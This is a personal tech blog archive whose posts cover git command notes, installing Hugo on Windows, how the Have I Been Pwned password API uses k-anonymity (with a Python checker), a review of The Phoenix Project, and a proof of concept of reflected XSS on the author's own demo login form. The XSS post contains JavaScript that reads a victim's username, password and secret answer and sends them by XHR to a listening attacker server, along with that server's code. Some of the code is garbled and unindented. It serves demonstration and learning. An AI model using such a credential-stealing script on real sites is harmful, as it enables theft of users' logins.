Wednesday, 1 July 2020

Notes - > Git Basics , git commands

[These are my git notes related to git commands]
Ref: Git Tutorials - by Corey Schafer.

** Fundamentals

Git is a Distributed version control. ...Git has a local and remote repositories.
  •  git  --version 
  • git help <verb>  OR  git <verb> --help
Set Configs values :
  • git config --global "Jon Doe"
  • git config --global ""
  • git config --list   // all values will be listed

Scenario 1 : Existing Project Local 
  • cd  /project_dir
  • git init     //Initializes a git repo .. creates a .git/ dir
  • git status  // check status
  • touch .gitignore // .txt file to add files dirs to be ignored by git.
  • git add -A // add all files to staging area.
  • eg. git add .gitignore // add .gitignore to the repo
  • git commit -m "<message>" // make changes to the local repo
  • git reset // remove files from staging
  • git log // log

Scenario 2 : Remote Project Repo 
  • git clone <url> <location_to_clone> //clone remote repo to local system
  • git remote -v // view info about the remote repo
  • git branch -a // list all branches in the repo
<after making changes to the code, commit the changes locally before pushing>
  • git diff // shows changes
  • git status // shows the modified files
  • git add -A // add all files to staging
  • git status // shows files are ready to be committed
  • git commit -m "<message>" // commit changes locally
  • git pull origin master // pull latest code (in case there are more people working on the repo)
  • git push origin master // push changes to master branch on remote.

Instead of working on the master branch, its recommended to create a branch of the feature to work on.
  • git branch -a // list branches
  • git branch <branch_name> // Create new branch
  • git checkout <branch_name> // switch to <branch_name>
  • <make changes to the code>
  • git commit -m "<message>" // commit changes to <branch_name>
  • git push -u origin <branch_name> // push changes to <branch_name> on remote repo
 Now we need to Merge the changes in the custom branch to the master & then delete the custom branch.
  • git checkout master // switch to master branch
  • git pull origin master // pull the latest code
  • git branch --merged // lists the branches that have been merged so far
  • git merge <branch_name> // Merge changes from <branch_name> to master.
  • git push origin master // push the merged changes to master.
  • git branch --merged // check if the changes from <branch_name> have been merged.
  • git branch -d <branch_name> // Deletes branch locally
  • git push origin --delete <branch_name> // delete branch from remote repo.

** Undoing Bad commits 

  • git status 
  • git diff //see the code changes made

A. In case we want to change the commit message 
  • git commit -m "Wrong message" // user enter a wrong commit message
  • git log // check the message in logs
  • git commit --amend -m "Correct message" // Amends the commit message
  • git log // double-check in logs

B. In case of a committed file (Accidentally made changes to wrong branch)
Eg. Changes committed to master instead of feature branch
  • git log --stat // git files changed within the commit
  • git checkout master // switch to master.
  • git log // copy 5-6 chars of the commit hash
  • git checkout feature // switch to feature branch
  • git cherry-pick <copied commit hash> // copied above commit hash
  • git log // commit from master is now in feature branch
  • git checkout master // go back to master branch
  • git reset

Git Reset:
1. Git Reset Soft:
git reset --soft <commit hash_str>
In this case the 'git log' will no longer have the commit but in the 'git status' the changes will be as it is in the staging. So we wont lose any work.

2.   Git Reset (Default/Mixed) :
     git reset <commit hash_str>
In this case the 'git log' will no longer have the commit just as  git --soft, but in this case the changes will move out of the staging area to the working area.

3. Git Reset  Hard:
git reset --hard <commit hash_Str> 
In this case  modifications will be completely reverted. Except for the un-tracked files. 

4. To get rid of untracked files and directories :
 git clean -df   // -d for dirs; f for force

 ** In case you run '' git reset --hard"  by mistake:
            git reflog  // shows commits in the order of when we last referenced them.
 git checkout <commit hash_str> // Checkout to the commit hash obtained from above reflog.
             git branch backup  //create a backup of the previous rollback.                

Git Garbage collector run once in 30 days and above retrieval will  work prior to the garbage collector running. 

Git Revert:  Git revert un-does the changes and adds additional commits of the changes.
 git revert <commit hash_str>

Git Stash :  [pending ]


Wednesday, 17 June 2020

Installing Hugo in Windows

Below is a 'How-To' on installing Hugo in Windows. 

I would recommend you watch  Mike Dane's YouTube Tutorial  for a better understanding. 

Create a Hugo Directory in C:\Hugo . We will store hugo files or websites here. 

Create directory bin in C:\Hugo .  We will store Hugo Binaries/exe's  in this directory.

Download Hugo from (Windows 64 bit or 32 bit )

Extract the downloaded Hugo zip file to C:\Hugo\bin .Make sure the executable is named as 'hugo.exe'. 

Set the appropriate  Environmental Path:

Open a new windows PS or Command Prompt and run  hugo version to check if Hugo is installed properly.

Thursday, 11 June 2020

Is it safe to use " Have I been Pwned APIs ? "

Most of us may have wondered " Is it safe to use Troy Hunt's Have I Been Pawned (HIBP) API ?? " 
 " Is my password stored to the HIBP server ?? ", 
 " Is this a good idea ? ".

Short answer - Yes, No and Yes.

Interestingly your password does not even go to HIBP server. 

Surprised ?? Well here goes the long answer .... 

HIBP created by Troy Hunt, uses a protocol called as the k-anonymity. k-anonymity was popularized by a British scientist Junade Ali when he built a communication protocol to check if the given password has been leaked. This verification of the password uses hashing, but the password or it's corresponding hash are never disclosed.
HIBP APIs are now used by several password managers.

The HIBP Implementation:

In the HIBP API, a user is required to pass the first 5 characters of the SHA1 hash of the password to the HIBP Server. The server will then respond back with list of the last 35 characters of all the SHA-1 hashes in its database that begin with the 5 characters sent.
The user can then compare locally the remaining 35 characters of his SHA-1 digest and see if his password was ever leaked.

For example: To check if the password value 'Password@12345' is a leaked password or not:
  1.  We take the SHA-1 message digest of  'Password@12345' .i.e 'fa39309c79ea43b63fa8e1961edd941a5002c541'.
  2.  Send the first 5 characters (uppercase) of the hash to "{5_chars_of_hash}" and observe the response. 
  3.  The Server will respond with a list of hash tails (last 35 characters of the hash) that match the aforementioned 5 character string along with the nos. of times they  have been found in the wild.

Here is a snapshot of the curl request:

Analysis of the server response in the browser:

Below is small python script, where I am using the HIBP API (v2) to input a password value and check the inputs.

import requests
import hashlib

isStrong = True
password = input("Enter a password to check if its leaked: ")
hash_val = hashlib.sha1(password.encode('utf-8'))
hash_val_digest = hash_val.hexdigest()
hash_5chars = str(hash_val_digest[:5].upper()) # first 5 chars to be sent to HIBP Api
hash_tail = str(hash_val_digest[5:].upper()) # Convert to uppercase before sending.
response = requests.get('' + hash_5chars) # Using HIBP Api v2
print(response.status_code) # expected 200
hibp_hashes = response.text.splitlines() # Stores the response as a list.
for hash_found in hibp_hashes: # Compare the values from the list locally
hash_to_compare = str(hash_found[:35]) # for each list compare the hash with the tail of our SHA-1 hash ()

if hash_to_compare == hash_tail:
count = str(hash_found[36:]) # Nos of times the password was found.
isStrong = False
print(f"Password \" {password} \" has been found {count} times in the Wild !!")
print(f"Here is its hash -> {hash_to_compare}")

if isStrong == True :
print("Hurray !! This password was not found in the Wild !!")

Screenshots of the output from the above script (I am printing out values on the console for a better understanding):

1. Output for a weak password:

2. Output for a strong password:

Conclusion: HIBP is an amazing resource and it has several more features. Do have a look at their site for more information

Other Python packages you could use:


Saturday, 6 June 2020

The Pheonix Project - What I learned from it.

I recently read the book called 'The Pheonix Project'. A book that was recommended by a lot of folks especially to get started in the DevOps domain. 
This is a book written by Gene Kim, Kevin Behr and George Spafford. I am listing down some of the key takeaways from this book. 

This is a fictional story that revolves around a character named Bill Palmer who is promoted to VP of IT Operations and is quickly given the task of making sure the company's(Parts Unlimited) next big project named 'Pheonix' goes into production. A lot depends on this project failing which Bill's entire IT division may get outsourced. 

Bill quickly forms a team with two of his colleagues Wes and incredible Patty, who swear to clean the swamp. Around this time Bill is introduced to a potential board member Erik, who is a technology hot-shot as quoted in the book. Erik reminded me of Master Oogway and throughout the course Erik guides Bill and shows him how work in IT is comparable to that of the work done in a manufacturing plant. 
Initially Bill is amused at this very thought and dismisses the idea, but as Oogway said "One often meets his destiny on the road he takes to avoid it" .
Bill is eventually making amends in IT to replicate the workflow of a manufacturing plant.

Erik takes Bill to the company's manufacturing plant and riddles him to identify the 4 kinds of Work by observing the work happening at the plant.
Eventually Bill figures out the 4 kinds of works :

  1. Planned work .i.e Business projects and requests for new features.
  2. Internal projects .i.e Internal requests mostly related to operations such as server/environment creations, server upgrades, software updates, server patching etc.
  3. Changes .i.e work  created by the above two kinds of work, generally through feedback. 
  4. Unplanned Work - This kind of work is often not tracked. Support for incidents and other unforeseen circumstances that may usually arise from the first three kinds of work.  

Erik talks about 'The 3 Ways', which eventually form the pillars of the DevOps principles that Bill would implement later at Parts Unlimited.

  • The First Way - Work should flow in one direction.
Its important to identify the flow of work, and make sure that the work flows on one way. This is achieved by firstly identifying the constraints and removing the constraints. Secondly to limit the work in progress (WIP). WIP is known as the silent killer in both manufacturing and IT both alike.
In the story Patty uses Kanban boards to better visualize the workflow, identify the constraints and limit the WIP. Through this method they identify that one of the major constraints for the Pheonix project was Brent - a superstar who is involved in too many tasks. Bill and Patty try to reduce the work that goes to Brent thereby allowing him time on tasks that were far more critical .i.e the tasks associated with Pheonix. 

  • The Second Way - Enabling and amplifying feedback loops so as to identify issues/defects at a much earlier stage. 
The goal is to identify and fix as many defects in the development stage rather than pushing the defects to the operations/staging environment. Having a development environment that is identical to production would help resolve a lot of "But_this_works_in_the_development_env" kind of issues. Security code audits and pentests must happen at a earlier stage (shift-left) too, thereby identifying and resolving as many issues at a much earlier stage as possible.

  • The Third Way  - Practice and Repeat.
As Bruce Lee used to say "I fear not the man who has practiced 10,000 kicks once, but I fear the man who has practiced one kick 10,000 times."  
Unlike the traditional way where the deployments used to happen once in months, the third way is all about deploying as many times as possible. This is where automation comes into the picture where right from deploying machines in virtual environments to running QA and Security checks to deploying the code to production everything is automated.
In the story Bill and his team figure out ways to have code with a minimum viable product(MVP) deployed in production as soon as possible and then further keep integrating new features to it. But unlike before, Bill's team deploys code to production several times and in the process identify repetitive tasks and automate them. 

In conclusion I would say its a very engaging book and it does its job of helping you understand the place of DevOps in today's world. 

Friday, 15 May 2020

POC - Exploiting XSS in a Login Form.

This a simple POC to demonstrate exploitation of XSS on a login form.

Note: This is posted here from my old blog

To demonstrate this attack, I have written an App (not really an app, jus a couple of PHP pages) called Bazingaa that expects a user to enter their username, password and a Secret Answer. On entering any wrong values the Page responds with an Auth error and reflects the Secret Answer back in the Error page. This answer field is vunerable to Reflected XSS.

The Bazingaa App is dowloadable Here

The Listener ..

For this demo I used Python’s SimpleHTTPServer to listen for incoming requests (XHR sent by our malicious script).

Below is the code for the Server:

#SimpleHTTP server listening on port 8000 for incoming GET Requests
import SimpleHTTPServer
import SocketServer
PORT = 8000
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "Attacker Logging server listening on Port:", PORT
he JS exploit

The Javascript exploit I wrote simply sends an XHR request to an attacker’s server - where the attacker logs all the incoming GET requests. The malicious Javascript appends the victim’s username, password and Secret answer to the XHR GET request when the Victim hovers his/her mouse over the Login Button.

Here is the Javascript exploit:

var usr = document.forms[0].elements[0].value;
var pass = document.forms[0].elements[1].value;
var sectxt = document.forms[0].elements[2].value;
var button = document.getElementById("idlogin");   // form id of Bazinga login form.
button.onmouseover = function(){
	//alert(document.forms[0].elements[0].value);   // Ignore these alerts, They were here jus for debugging 
	//alert(document.forms[0].elements[1].value);   // I could have deleted them rather than typing all this
	//alert(document.forms[0].elements[2].value);   //  But hey .. I am stupid :P 
	xobj = new XMLHttpRequest();"GET", ""+"uname="+document.forms[0].elements[0].value +":"+"Pass="+document.forms[0].elements[1].value+":"+"Secret="+document.forms[0].elements[2].value, true);

Below is a video of the above described attack:

Notes - > Git Basics , git commands

[These are my git notes related to git commands] Ref:  Git Tutorials - by Corey Schafer. ---------------------------------------------------...